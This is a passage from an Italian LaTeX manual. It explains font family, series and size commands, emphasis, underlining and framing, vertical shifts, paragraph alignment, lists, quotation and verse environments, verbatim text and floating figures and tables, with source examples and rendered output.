Tutte le forme consentono di cumulare gli effetti; per esempio, si può scrivere '**\textit{\textbf{*testo*}}**', '**{\itshape\bfseries *testo*}**', oppure '**\begin{itshape}\begin{bfseries}*testo*\end{bfseries}\end{itshape}**' per ottenere un neretto corsivo.

La tabella seguente elenca i comandi che possono essere usati in un contesto normale (non matematico):

Comando	Descrizione

`\textrm{`***testo***`}`
 	
`{\rmfamily `***testo***`}`
 	
`\begin{rmfamily}`***testo***`\end{rmfamily}`
	tondo;

`\textsf{`***testo***`}`
 	
`{\sffamily `***testo***`}`
 	
`\begin{sffamily}`***testo***`\end{sffamily}`
	lineare;

`\texttt{`***testo***`}`
 	
`{\ttfamily `***testo***`}`
 	
`\begin{ttfamily}`***testo***`\end{ttfamily}`
	dattilografico;

`\textbf{`***testo***`}`
 	
`{\bfseries `***testo***`}`
 	
`\begin{bfseries}`***testo***`\end{bfseries}`
	neretto;

`\textup{`***testo***`}`
 	
`{\upshape `***testo***`}`
 	
`\begin{upshape}`***testo***`\end{upshape}`
	normale, in contrapposizione al neretto;

`\textit{`***testo***`}`
 	
`{\itshape `***testo***`}`
 	
`\begin{itshape}`***testo***`\end{itshape}`
	corsivo;

`\textsl{`***testo***`}`
 	
`{\slshape `***testo***`}`
 	
`\begin{slshape}`***testo***`\end{slshape}`
	inclinato;

`\textsc{`***testo***`}`
 	
`{\scshape `***testo***`}`
 	
`\begin{scshape}`***testo***`\end{scshape}`
	maiuscoletto;

`\textnormal{`***testo***`}`
 	
`{\normalfont `***testo***`}`
 	
`\begin{normalfont}`***testo***`\end{normalfont}`
	testo normale.

La tabella successiva riguarda invece il contesto matematico:

Comando	Descrizione
`\mathnormal{`***testo***`}`	testo matematico normale;
`\mathrm{`***testo***`}`	tondo;
`\mathbf{`***testo***`}`	neretto;
`\mathsf{`***testo***`}`	lineare;
`\mathtt{`***testo***`}`	dattilografico;
`\mathit{`***testo***`}`	corsivo;
`\mathcal{`***testo***`}`	calligrafico;
`\mathsc{`***testo***`}`	maiuscoletto.

A titolo di esempio, la tabella 62.98 consente di confrontare le varianti seriali dello stile normale di scrittura.

Tabella 62.98. Combinazioni a coppie di serie per il testo normale.

	tondo	corsivo	neretto	inclinato	maiuscoletto
tondo	abc123	*abc123*	**abc123**	*abc123*	ABC123
corsivo	*abc123*	*abc123*	***abc123***	*abc123*	ABC123
neretto	**abc123**	***abc123***	**abc123**	***abc123***	**ABC123**
inclinato	*abc123*	*abc123*	***abc123***	*abc123*	ABC123
maiuscoletto	ABC123	*abc123*	**ABC123**	ABC123	ABC123

Oltre allo stile e alla serie del carattere può essere definito il corpo, con i comandi già mostrati nella sezione precedente, oppure in modo diretto, nel caso si debba andare al di fuori della veste grafica preimpostata. In tal caso, si usano dei comandi nella forma:

```
\fontsize{corpo}{distanza_tra_le_righe}\selectfont
```

Per esempio, per ottenere un corpo di 5 mm, con un'altezza della riga di 6 mm (il 120 % del corpo), si può usare il comando '**`\fontsize{5mm}{6mm}\selectfont`**':

```
Questo è un testo normale; {\fontsize{5mm}{6mm}\selectfont questo
carattere ha un corpo particolare}; qui il testo torna a essere normale.
```

Questo [U+FFFD] testo normale; questo carattere ha un corpo particolare; qui il testo torna a essere normale.

62.7.3.1 Enfatizzazione

Quando non ha importanza stabilire esattamente l'aspetto di un carattere, ma si vuole semplicemente enfatizzarlo rispetto al contesto in cui si trova, si può usare il comando '**`\emph`**'. L'esempio seguente mostra cosa accade quando in una situazione in cui il carattere è corsivo si usa questo comando:

```
\begin{itshape}Bla bla bla bla bla bla \emph{testo enfatizzato} bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...\end{itshape}
```

Bla bla bla bla bla bla testo enfatizzato *bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...*

62.7.4 Definizione dettagliata del carattere da stampa

Generalmente, i comandi già descritti a proposito della definizione del carattere da stampa sono più che sufficienti per l'utente normale di LaTeX; eventualmente, sono disponibili anche altri comandi più dettagliati, che si prestano particolarmente per la realizzazione di macro particolari. Questi comandi hanno in comune la necessità di usare alla fine il comando '**`\selectfont`**' per attuare le modifiche al carattere da stampa. La tabella seguente elenca i comandi che riguardano la definizione dettagliata del carattere da stampa (appare anche '**`\fontsize`**' che è già descritto nella sezione precedente):

Comando	Descrizione
`\fontencoding{OT1`|`T1`|***altro_insieme***`}`	definisce l'insieme di caratteri ('**`T1`**' rappresenta quello utile per le lingue europee occidentali);
`\fontfamily{cmr`|`cmss`|`cmtt`|***altro_stile***`}`	definisce lo stile del carattere ('**`cmr`**' sta per *Computer modern roman*, '**`cmss`**' è il *Computer modern sans serifs*, '**`cmtt`**' è il *Computer modern typewriter text*);
`\fontseries{m`|`b`|`c`|`bc`|`bx`|***altra_serie***`}`	definisce la serie del carattere ('**`m`**' sta per *Medium*, '**`b`**' sta per *Bold*, '**`c`**' sta per *Condensed*, '**`bc`**' sta per *Bold condensed* e '**`bx`**' sta per *Bold extended*);
`\fontshape{n`|`it`|`sl`|`sc`|`ui`|`ol}`	definisce una variante della serie del carattere ('**`n`**' sta per *Normal*, '**`it`**' sta per *Italic*, '**`sl`**' sta per *Slanted*, '**`sc`**' sta per *Small caps*, '**`ui`**' sta per *Upright italic* e '**`ol`**' sta per *Outline*, ma naturalmente non tutti i tipi di carattere hanno a disposizione tutte le varianti possibili);
`\fontsize{`***corpo***`}{`***altezza_riga***`}`	definisce il corpo del carattere e l'altezza della riga;
`\selectfont`	abilita le modifiche fatte in precedenza al carattere (tipo, stile e dimensione);
`\usefont{`***insieme***`}{`***stile***`}{`***forma***`}`	definisce simultaneamente tutte le caratteristiche del carattere, escluso il corpo e la distanza tra le righe, senza nemmeno bisogno di '**`\selectfont`**' per attivare la scelta fatta.

A proposito del comando '**\usefont**', si osservi che il secondo argomento si riferisce alle sigle utilizzabili con il comando '**\fontseries**', mentre il terzo argomento richiede una sigla riferita al comando '**\fontshape**'. La suddivisione delle varianti seriali in questi due gruppi deriva dall'organizzazione di LaTeX riguardo alla cumulabilità tra stili. In pratica, le varianti seriali di '**\fontseries**' non sono cumulabili tra di loro; per esempio, per ottenere un carattere stretto e neretto è già prevista una voce unica: '**bc**'. Lo stesso ragionamento vale per le varianti seriali di '**\fontshape**', mentre una variante di '**\fontseries**' è cumulabile con una variante di '**\fontshape**'.

Viene mostrato un esempio completo, in cui si può notare anche l'uso delle lettere accentate, a seguito della selezione dell'insieme '**T1**':

```
\documentclass{article}
\usepackage[italian]{babel}
%\usepackage[utf8x]{inputenc}
%\usepackage[T1]{fontenc}
\frenchspacing
\pagestyle{empty}
\setlength{\textwidth}{14cm}
\begin{document}

Questo \'e un testo normale;
{\fontencoding{T1}\fontfamily{cmss}\fontseries{n}\fontshape{it}
\fontsize{5mm}{7mm}\selectfont questo è invece un carattere senza
grazie, chiaro, corsivo, con un corpo di 5 mm, in una riga alta 7 mm.}
Questo \'e di nuovo un carattere normale. \usefont{T1}{cmss}{n}{it}
Questo è ancora un carattere senza grazie, chiaro, corsivo, con un corpo
normale. \fontsize{5mm}{7mm}\selectfont Qui il carattere si ingrandisce
di nuovo. \normalfont Qui si ritorna a un carattere di stile e serie
normale, ma la dimensione rimane inalterata.

\end{document}
```

Questo è un testo normale; questo è invece un carattere senza grazie, chiaro, corsivo, con un corpo di 5 mm, in una riga alta 7 mm. Questo è di nuovo un carattere normale. Questo è ancora un carattere senza grazie, chiaro, corsivo, con un corpo normale. Qui il carattere si ingrandisce di nuovo. Qui si ritorna a un carattere di stile e serie normale, ma la dimensione rimane inalterata.

62.7.5 Linee e cornicette attorno al testo

Per LaTeX vale lo stesso problema di TeX a proposito della sottolineatura, nel senso che non fa parte dello stile e della serie del carattere. Tuttavia, LaTeX facilita anche altre forme di evidenziamento analoghe:

Comando	Descrizione
`\underline{`***testo***`}`	mette una linea sotto al testo;
`$\overline{\hbox{`***testo***`}}$`	mette una linea sopra al testo;
`\frame{`***testo***`}`	racchiude il testo in un rettangolo;
`\fbox{`***testo***`}`	racchiude il testo in un rettangolo, lasciando un po' di spazio.

In tutti i casi, il testo evidenziato si trova inserito in una scatola orizzontale, che come tale non può essere spezzata, creando eventualmente dei problemi di impaginazione.

Si osservi che il comando '**`\overline`**' è fatto per l'ambito matematico. Nella tabella, la sintassi mostra il modo corretto per poterlo utilizzare in un contesto normale, con l'aggiunta del comando '**`\hbox`**', allo scopo di comporre il testo sopralineato in un contesto normale.

Segue un esempio riepilogativo di queste forme di evidenziamento del testo:

```
Qui inizia un testo normale, in cui questa \underline{parola} appare
sottolineata; ma è possibile anche sopralineare $\overline{\hbox{questa
piccola frase}}$, così come si possono creare delle \frame{cornicette
schiacciate}, oppure \fbox{un po' più distanziate} dal testo.
```

Qui inizia un testo normale, in cui questa parola appare sottolineata; ma [U+FFFD]ssibile anche sopralineare questa piccola frase, cos [U+FFFD]me si possono creare delle cornicette schiacciate, oppure un po' pi distanziate dal testo.

62.7.6 Spostamento verticale del testo

A volte può essere necessario lo spostamento verticale di alcuni caratteri rispetto alla base della riga. Per fare questo si usa il comando '**`\raisebox`**', con cui si delimita il testo da spostare, specificando di quanto questo debba essere alzato (per abbassarlo si possono usare valori negativi):

`\raisebox{`***spostamento_verticale***`}{`***testo***`}`

Si osservi l'esempio seguente in cui si gioca con la parola «ciao»:

```
c\raisebox{1mm}{i}\raisebox{2mm}{a}\raisebox{1mm}{o}
c\raisebox{-1mm}{i}\raisebox{-2mm}{a}\raisebox{-1mm}{o}
```

$\mathrm{c}^{\mathrm{i}^{\mathrm{a}}\mathrm{o}}$ $\mathrm{c}_{\mathrm{i}_{\mathrm{a}}\mathrm{o}}$

62.8 LaTeX: blocchi di testo

LaTeX impagina il testo in paragrafi, in modo analogo a quanto fa già il linguaggio TeX puro e semplice. Anche per LaTeX funziona il comando '**\par**', allo scopo di concludere un paragrafo in modo esplicito, oppure è sufficiente lasciare almeno una riga bianca tra un blocco e l'altro.

62.8.1 Caratteristiche normali di un paragrafo

Il paragrafo di LaTeX è costruito in maniera molto simile a quella di TeX, con la differenza che il controllo sulla sua estensione orizzontale dipende dall'impostazione della pagina e dalla suddivisione in colonne. Anche con LaTeX rimane il rientro della prima riga dei paragrafi, con l'eccezione normale del primo paragrafo dopo un titolo. La tabella 62.111 mostra alcuni dei comandi che controllano l'aspetto del paragrafo.

Tabella 62.111. Alcuni dei comandi che intervengono nella definizione del paragrafo.

Lunghezza	Valore predefinito	Descrizione
\parindent	0.0pt	Larghezza del rientro della prima riga (in questo caso il contesto [U+FFFD]ello di una tabella; di solito il valore [U+FFFD]ggiore di zero).
\parskip	0.0pt	Distanza aggiuntiva tra i paragrafi.
\linewidth	79.66649pt	Larghezza della riga (in condizioni normali coincide con la larghezza della colonna a disposizione).
\baselineskip	12.0pt	Distanza verticale tra la base di una riga e la base di quella successiva (questo valore viene modificato automaticamente se si cambia la dimensione del carattere da stampa).
\leftskip	0.0pt	Rientro sinistro del paragrafo.
\rightskip	0.0pt	Rientro destro del paragrafo.

Senza intervenire nella lunghezza definita dal comando '**\parindent**', è possibile annullare il rientro della prima riga con il comando '**\noindent**', così come è possibile usare '**\indent**' per ottenere l'effetto opposto in presenza di un paragrafo che non ha il rientro per qualche ragione. Tuttavia, anche annullando il rientro con il comando '**\noindent**', rimane il problema della distanza tra i paragrafi, che in condizioni normali risulta troppo piccolo per consentirne l'individuazione senza rientri. Pertanto, quando si intende scrivere un documento che non fa uso di rientri in modo sistematico, conviene modificare le lunghezze che contano, direttamente nel preambolo, per esempio così:

```
\setlength{\parindent}{0pt}
\setlength{\parskip}{1ex plus 0.5ex minus 0.2ex}
```

Si osservi però, che in questo modo non può funzionare nemmeno il comando '**\indent**', perché si limiterebbe a porre un rientro di zero punti.

Segue il riepilogo degli ultimi comandi descritti:

Comando	Descrizione
\indent	richiede espressamente il rientro della prima riga secondo il valore di '**\parindent**';
\noindent	annulla il rientro della prima riga per il paragrafo in cui si trova.

62.8.2 Allineamento del testo

In condizioni normali, il testo dei paragrafi risulta allineato simultaneamente a sinistra e a destra. Per modificare questo comportamento si interviene normalmente attraverso degli ambienti, ma sono disponibili anche dei comandi alternativi che provengono da TeX:

Comando	Descrizione
`\begin{center}`***testo***`\end{center}`	centra il testo;
`\centerline{`***riga_di_testo***`}`	centra la riga;
`\begin{flushleft}`***testo***`\end{flushleft}` `{\raggedright `***testo***`\par}`	allinea il testo a sinistra;
`\begin{flushright}`***testo***`\end{flushright}` `{\raggedleft `***testo***`\par}`	allinea il testo a destra.

È interessante osservare che, mentre i comandi '**`\raggedright`**' e '**`\raggedleft`**' richiedono l'inserimento in un raggruppamento, dove l'ultimo paragrafo deve terminare in modo esplicito, prima della fine del raggruppamento, gli ambienti dichiarano implicitamente l'inizio e la fine di un paragrafo.

Il comando '**`\centerline`**' consente di centrare una riga soltanto, senza inserire la spaziatura che riguarda un paragrafo normale.

```
Questo è un paragrafo normale, che serve come riferimento. Bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla.

\begin{center}
Questo è un paragrafo centrato, attraverso l'ambiente {\ttfamily
center}. Bla bla bla bla bla bla bla bla bla bla bla.
\end{center}

Questo è un paragrafo normale, a cui segue una riga centrata:

\centerline{riga centrata.}

\begin{flushleft}
Questo è un paragrafo allineato a sinistra, attraverso l'ambiente
{\ttfamily flushleft}. Bla bla bla bla bla bla bla bla bla bla bla.
\end{flushleft}

\begin{flushright}
Questo è un paragrafo allineato a destra, attraverso l'ambiente
{\ttfamily flushright}. Bla bla bla bla bla bla bla bla bla bla bla.
\end{flushright}
```

Questo [U+FFFD] paragrafo normale, che serve come riferimento. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

Questo [U+FFFD] paragrafo centrato, attraverso l'ambiente `center`. Bla bla bla bla bla bla bla bla bla bla bla.

Questo [U+FFFD] paragrafo normale, a cui segue una riga centrata:
riga centrata.

Questo [U+FFFD] paragrafo allineato a sinistra, attraverso l'ambiente `flushleft`. Bla bla bla bla bla bla bla bla bla bla bla.

Questo [U+FFFD] paragrafo allineato a destra, attraverso l'ambiente `flushright`. Bla bla bla bla bla bla bla bla bla bla bla.

62.8.3 Elenchi

Alcuni ambienti sono predisposti per la realizzazione di elenchi di vario tipo. Quelli più comuni sono '**`description`**', '**`enumerate`**' e '**`itemize`**', ma esiste anche il modo di definire un tipo di elenco libero, attraverso l'ambiente generico '**`list`**'. L'elenco puntato classico si ottiene con l'ambiente '**`itemize`**':

```
\begin{itemize}
\item testo
\item testo
...
\item testo
\end{itemize}
```

All'interno dell'ambiente '**`itemize`**', il comando '**`\item`**' serve a indicare l'inizio di una voce dell'elenco; la voce può contenere del testo piuttosto articolato, anche in più paragrafi, per esempio con dei sottoelenchi o ambienti di altro genere. L'esempio seguente mostra un elenco contenente un sottoelenco:

```
\begin{itemize}
\item Primo.
\item Secondo.
      \begin{itemize}
      \item Questa voce è una suddivisione ulteriore del secondo
            punto.

            Questo è un paragrafo ulteriore.
      \item Questa è una voce ulteriore della sottoclassificazione
            appartenente al secondo punto.
      \end{itemize}
\item Terzo.
\end{itemize}
```

- Primo.
- Secondo.
  - Questa voce [U+FFFD]a suddivisione ulteriore del secondo punto.
    Questo [U+FFFD] paragrafo ulteriore.
  - Questa [U+FFFD]a voce ulteriore della sottoclassificazione appartenente al secondo punto.
- Terzo.

Teoricamente, è possibile modificare il simbolo usato per evidenziare l'inizio delle voci, ridefinendo i comandi '**`\labelitemi`**', '**`\labelitemii`**', '**`\labelitemiii`**' e '**`\labelitemiv`**', che si riferiscono rispettivamente all'elenco principale e di seguito a sottoelenchi fino a un massimo di quattro livelli di annidamento. Per esempio, si può fare in modo che si utilizzi il segno «+» per l'elenco principale intervenendo in questo modo:

```
\renewcommand{\labelitemi}{\normalfont +}
```

Ecco come si presenta l'elenco già mostrato se si aggiunge questa istruzione all'inizio:

+ Primo.
+ Secondo.
  - Questa voce [U+FFFD]a suddivisione ulteriore del secondo punto.
    Questo [U+FFFD] paragrafo ulteriore.
  - Questa [U+FFFD]a voce ulteriore della sottoclassificazione appartenente al secondo punto.
+ Terzo.

In modo analogo si ottengono degli elenchi numerati, con l'ambiente '**`enumerate`**':

```
\begin{enumerate}
\item testo
\item testo
...
\item testo
\end{enumerate}
```

L'esempio già visto viene riproposto usando l'ambiente '**`enumerate`**'; si può osservare che la numerazione delle voci cambia quando si inseriscono dei sottoelenchi:

```
\begin{enumerate}
\item Primo.
\item Secondo.
      \begin{enumerate}
      \item Questa voce è una suddivisione ulteriore del secondo
            punto.

            Questo è un paragrafo ulteriore.
      \item Questa è una voce ulteriore della sottoclassificazione
            appartenente al secondo punto.
```

```
      \end{enumerate}
\item Terzo.
\end{enumerate}
```

1. Primo.
2. Secondo.
   (a) Questa voce [U+FFFD]a suddivisione ulteriore del secondo punto.
   Questo [U+FFFD] paragrafo ulteriore.
   (b) Questa [U+FFFD]a voce ulteriore della sottoclassificazione appartenente al secondo punto.
3. Terzo.

La sequenza dei valori attribuita alle voci viene determinata attraverso dei contatori, che sono rispettivamente: '**`enumi`**', '**`enumii`**', '**`enumiii`**' e '**`enumiv`**'. In pratica, il primo contatore controlla l'elenco più esterno, mentre l'ultimo riguarda quello più interno (di conseguenza ci possono essere un massimo di quattro annidamenti). Inoltre, il tipo di numerazione usata negli elenchi dipende rispettivamente dai comandi: '**`\theenumi`**', '**`\theenumii`**', '**`\theenumiii`**' e '**`\theenumiv`**'. L'esempio seguente è una variante di quello già visto, in cui, l'elenco più esterno parte dal numero tre, mentre l'elenco annidato utilizza i numeri romani:

```
\begin{enumerate}
\setcounter{enumi}{2}
\item Primo.
\item Secondo.
      \renewcommand{\theenumii}{\roman{enumii}}
      \begin{enumerate}
      \item Questa voce è una suddivisione ulteriore del secondo
            punto.

            Questo è un paragrafo ulteriore.
      \item Questa è una voce ulteriore della sottoclassificazione
            appartenente al secondo punto.
      \end{enumerate}
\item Terzo.
\end{enumerate}
```

3. Primo.
4. Secondo.
   (i) Questa voce [U+FFFD]a suddivisione ulteriore del secondo punto.
   Questo [U+FFFD] paragrafo ulteriore.
   (ii) Questa [U+FFFD]a voce ulteriore della sottoclassificazione appartenente al secondo punto.
5. Terzo.

Gli elenchi descrittivi sono leggermente diversi, perché devono consentire la descrizione delle voci. L'ambiente usato per questo è '**`description`**':

```
\begin{description}
\item [etichetta] testo
\item [etichetta] testo
...
\item [etichetta] testo
\end{description}
```

Ciò che è stato indicato come ***etichetta*** è ciò che rappresenta simbolicamente la voce che viene descritta dal testo successivo; come si vede dalla sintassi, potrebbe essere omessa, anche se questo fa perdere di significato a un elenco descrittivo. Viene riproposto l'esempio già visto in precedenza per gli altri tipi di elenco, con l'aggiunta delle etichette:

```
\begin{description}
\item [marrone] Primo.
\item [rosso] Secondo.
      \begin{description}
      \item [oro] Questa voce è una suddivisione ulteriore del secondo
            punto.

            Questo è un paragrafo ulteriore.
      \item [argento] Questa è una voce ulteriore della
            sottoclassificazione appartenente al secondo punto.
      \end{description}
\item [arancio] Terzo.
\end{description}
```

marrone Primo.

rosso Secondo.

oro Questa voce [U+FFFD]a suddivisione ulteriore del secondo punto.
Questo [U+FFFD] paragrafo ulteriore.

argento Questa [U+FFFD]a voce ulteriore della sottoclassificazione appartenente al secondo punto.

arancio Terzo.

Come si vede dal risultato della composizione, l'annidamento non fa cambiare l'aspetto dell'elenco.

Eventualmente, si può omettere l'indicazione della voce distintiva dei vari punti, se a questo si provvede da soli con gli evidenziamenti che si preferiscono; tuttavia, può risultare difficile inserire le parentesi quadre all'inizio di queste voci. Per inserire le parentesi quadre con un significato letterale, basta fare in modo che LaTeX comprenda che il testo è già iniziato, attraverso l'inserzione di gruppi vuoti, oppure inserendo le parentesi stesse tra parentesi graffe:

```
\begin{description}
\item [marrone] Primo.
\item {[rosso]} Secondo.
\item {}[arancio] Terzo.
\end{description}
```

marrone Primo.

[rosso] Secondo.

[arancio] Terzo.

Gli ambienti riferiti agli elenchi gestiscono in modo autonomo la distanza verticale di separazione tra le voci, impostando internamente il comando '**`\itemsep`**'. Volendo, si può interferire in questa lunghezza per modificare la distanza tra le voci di un elenco, ma solo all'interno dell'elenco stesso:

```
\begin{itemize}
\item Primo. In questo contesto, il valore predefinito di
      {\ttfamily \textbackslash{}itemsep} è \the\itemsep{}.
\setlength{\itemsep}{1cm}
\item Secondo.
      \begin{itemize}
      \item Questa voce è una suddivisione ulteriore del secondo
            punto.

            Questo è un paragrafo ulteriore.
      \item Questa è una voce ulteriore della sottoclassificazione
            appartenente al secondo punto.
      \end{itemize}
\item Terzo.
\end{itemize}
```

- Primo. In questo contesto, il valore predefinito di `\itemsep` [U+FFFD].

- Secondo.
  - Questa voce [U+FFFD]a suddivisione ulteriore del secondo punto.
    Questo [U+FFFD] paragrafo ulteriore.
  - Questa [U+FFFD]a voce ulteriore della sottoclassificazione appartenente al secondo punto.

- Terzo.

Infine, si può realizzare un elenco in modo libero, attraverso l'ambiente '**`list`**':

```
\begin{list}{etichetta}{comandi_di_spaziatura}
\item testo
\item testo
...
\item testo
\end{list}
```

In pratica, al posto di ***etichetta*** si inseriscono i comandi necessari a produrre l'etichetta che contrassegna le voci dell'elenco, mentre al posto di ***comandi_di_spaziatura*** si possono mettere i comandi che servono a definire le lunghezze relative alla costruzione dell'elenco. Per cominciare, conviene mostrare un esempio banale di elenco puntato, dove il punto delle voci è rappresentato da un asterisco:

```
\begin{list}{*}{}
\item Primo.
\item Secondo.
\item Terzo.
\end{list}
```

* Primo.
* Secondo.
* Terzo.

Per controllare la distanza tra i punti, si può modificare la distanza '**`\itemsep`**':

```
\begin{list}{*}{\setlength{\itemsep}{1cm}}
\item Primo.
\item Secondo.
\item Terzo.
\end{list}
```

* Primo.

* Secondo.

* Terzo.

Per costruire un elenco numerato, occorre intervenire con maggiore abilità nella definizione dell'etichetta:

```
\newcounter{elenco}

\setcounter{elenco}{0}
\begin{list}{\stepcounter{elenco}\arabic{elenco}}{\setlength{\itemsep}{1cm}}
\item Primo.
\item Secondo.
\item Terzo.
```

```
\end{list}
```

1 Primo.

2 Secondo.

3 Terzo.

62.8.4 Citazioni

Sono disponibili due ambienti per rappresentare facilmente del testo rientrato rispetto al flusso normale:

Comando	Descrizione
`\begin{quote}`***testo***`\end{quote}` `\begin{quotation}`***testo***`\end{quotation}`	rientra a destra e a sinistra il testo, in un modo conveniente per includere una citazione.

La differenza tra i due ambienti sta nel fatto che '**`quote`**' non fa rientrare la prima riga dei paragrafi, mentre '**`quotation`**' si comporta come al solito. In ogni caso, entrambi gli ambienti possono contenere più paragrafi o blocchi di altro tipo. Segue un esempio:

```
Bla bla bla bla bla...

\begin{quote}

    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License as
    published by the Free Software Foundation; either version 2 of
    the License, or (at your option) any later version.

\end{quote}

Bla bla bla bla bla...

\begin{quotation}

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
```

```
\end{quotation}
```

Bla bla bla bla bla...

> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

Bla bla bla bla bla...

> This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
>
> You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

62.8.5 Versi

LaTeX facilita la scrittura di versi poetici attraverso l'ambiente '**verse**'. Si osservi l'esempio seguente:

```
\section{La Divina Commedia -- Inferno}

canto XV

\begin{verse}
Ora c'en porta l'un de' duri margini;\par
e 'l fummo del ruscel di sopra aduggia,\par
sì che dal foco salva l'acqua e li argini.\par
\end{verse}
```

1 La Divina Commedia – Inferno

canto XV

> Ora c'en porta l'un de' duri margini;
>
> e 'l fummo del ruscel di sopra aduggia,
>
> s[U+FFFD]e dal foco salva l'acqua e li argini.

Come si può osservare, le strofe devono occupare ognuna un paragrafo separato. L'ambiente '**verse**' si occupa in pratica di rientrare in modo particolare i paragrafi, per consentire di riconoscere anche le strofe lunghe. Si osservi cosa accade con una strofa più lunga dello spazio che può avere a disposizione la riga:

> prima strofa;
>
> seconda strofa, molto lunga, bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla.

62.8.6 Testo letterale

Per riprodurre del testo in modo letterale, è disponibile l'ambiente '**`verbatim`**' e il comando '**`\verb`**':

Comando	Descrizione
`\begin{verbatim}`***testo_preformattato***`\end{verbatim}`	compone il testo in modo letterale, rispettando anche le interruzioni di riga, usando un carattere dattilografico;
`\begin{verbatim*}`***testo_preformattato***`\end{verbatim*}`	come nel caso precedente, evidenziando gli spazi con un segno speciale.
`\verb`***xtesto_letteralex***	compone il testo, che non può superare la riga di lunghezza, in modo letterale, usando un carattere dattilografico;
`\verb*`***xtesto_letteralex***	come nel caso precedente, evidenziando gli spazi con un segno speciale.

Come si può comprendere dalla spiegazione data nella tabella riepilogativa, l'ambiente '**`verbatim`**' consente di rappresentare facilmente dei blocchi di testo letterali, da riprodurre così come sono nel sorgente, anche nelle interruzioni di riga; al contrario, il comando '**`\verb`**' va usato nel testo normale.

Nel caso dell'ambiente '**`verbatim`**', il contenuto del testo non ha limitazioni, salvo il fatto che non può includere il comando di chiusura dell'ambiente ('**`\end{verbatim}`**'); mentre il comando '**`\verb`**' delimita il testo letterale con un carattere a scelta, inserito all'inizio e alla fine del testo. Gli esempi seguenti mostrano l'uso dei due modi di indicare testo letterale, in modo normale o con l'asterisco:

```
\$ \verb@cat -n /bin/bash@ [Invio]

\begin{verbatim}
     1  ^?ELF^A^A^A^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@M-PM-^Q^E^H4^@^@^@M-\M-7^T^
     2  ^F^@^@M-w^B^@^@^_^F^@^@M-^^^D^@^@^@^@^@^@^^^F^@^@^K^E^@^@M-j^D^@^@T^D^@^
     3  ^D^@^@b^F^@^@^@^@^@^@_^C^@^@M-^[^C^@^@M-^[^@^@^@M-^J^E^@^@^@^@^@^@^@^@^@
    ...
\end{verbatim}
```

$ **`cat -n /bin/bash`** [Invio]

```
     1  ^?ELF^A^A^A^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@M-PM-^Q^E^H4^@^@^@M-\M-7^T^
     2  ^F^@^@M-w^B^@^@^_^F^@^@M-^^^D^@^@^@^@^@^@^^^F^@^@^K^E^@^@M-j^D^@^@T^D^@^
     3  ^D^@^@b^F^@^@^@^@^@^@_^C^@^@M-^[^C^@^@M-^[^@^@^@M-^J^E^@^@^@^@^@^@^@^@^@
    ...
```

```
\$ \verb*@ls -l /@ [Invio]

\begin{verbatim*}
drwxr-xr-x    2 root     root          4096 mag  3 22:46 bin
drwxr-xr-x    4 root     root          4096 apr 20 16:15 boot
drwxr-xr-x    7 root     root         20480 mag  5 08:49 dev
drwxr-xr-x  123 root     root          8192 mag  5 08:49 etc
drwxr-xr-x   21 root     root          4096 feb 10 20:59 home
drwxr-xr-x    7 root     root          8192 mag  3 22:48 lib
...
\end{verbatim*}
```

$ ls␣-l␣/ [Invio]

```
drwxr-xr-x␣␣␣␣2␣root␣␣␣␣␣root␣␣␣␣␣␣␣␣␣4096␣mag␣␣3␣22:46␣bin
drwxr-xr-x␣␣␣␣4␣root␣␣␣␣␣root␣␣␣␣␣␣␣␣␣4096␣apr␣20␣16:15␣boot
drwxr-xr-x␣␣␣␣7␣root␣␣␣␣␣root␣␣␣␣␣␣␣␣20480␣mag␣␣5␣08:49␣dev
drwxr-xr-x␣␣123␣root␣␣␣␣␣root␣␣␣␣␣␣␣␣␣8192␣mag␣␣5␣08:49␣etc
drwxr-xr-x␣␣␣21␣root␣␣␣␣␣root␣␣␣␣␣␣␣␣␣4096␣feb␣10␣20:59␣home
drwxr-xr-x␣␣␣␣7␣root␣␣␣␣␣root␣␣␣␣␣␣␣␣␣8192␣mag␣␣3␣22:48␣lib
...
```

Si veda anche la sezione 62.14.2 per l'importazione di file esterni da rappresentare in modo letterale.

62.8.7 Ambienti fluttuanti

LaTeX dispone di due ambienti fluttuanti nel testo, preparati idealmente per incorporare tabelle o figure:

\begin{figure}[***permesso_di_collocazione***]
    figura
\end{figure}

\begin{table}[***permesso_di_collocazione***]
    tabella
\end{table}

Per il momento, per come sono mostrati i modelli sintattici dell'utilizzo di questi ambienti, non c'è differenza tra un ambiente o l'altro. La collocazione dell'oggetto contenuto nell'ambiente fluttuante, viene concessa attraverso l'uso di alcune lettere alfabetiche, con il significato seguente:

Lettera	Significato mnemonico	Descrizione
h	*here*	si concede la collocazione nel punto in cui si trova la dichiarazione della tabella o della figura;
t	*top*	si concede la collocazione all'inizio della pagina attuale;

Lettera	Significato mnemonico	Descrizione
b	*bottom*	si concede la collocazione alla fine della pagina attuale;
p	*page*	si concede la collocazione in una pagina a parte, riservata a questo.

Queste lettere possono essere sommate assieme e conta l'ordine in cui sono dati i permessi di collocazione. Per esempio,

```
\begin{table}[tbp]
    ...
\end{table}
```

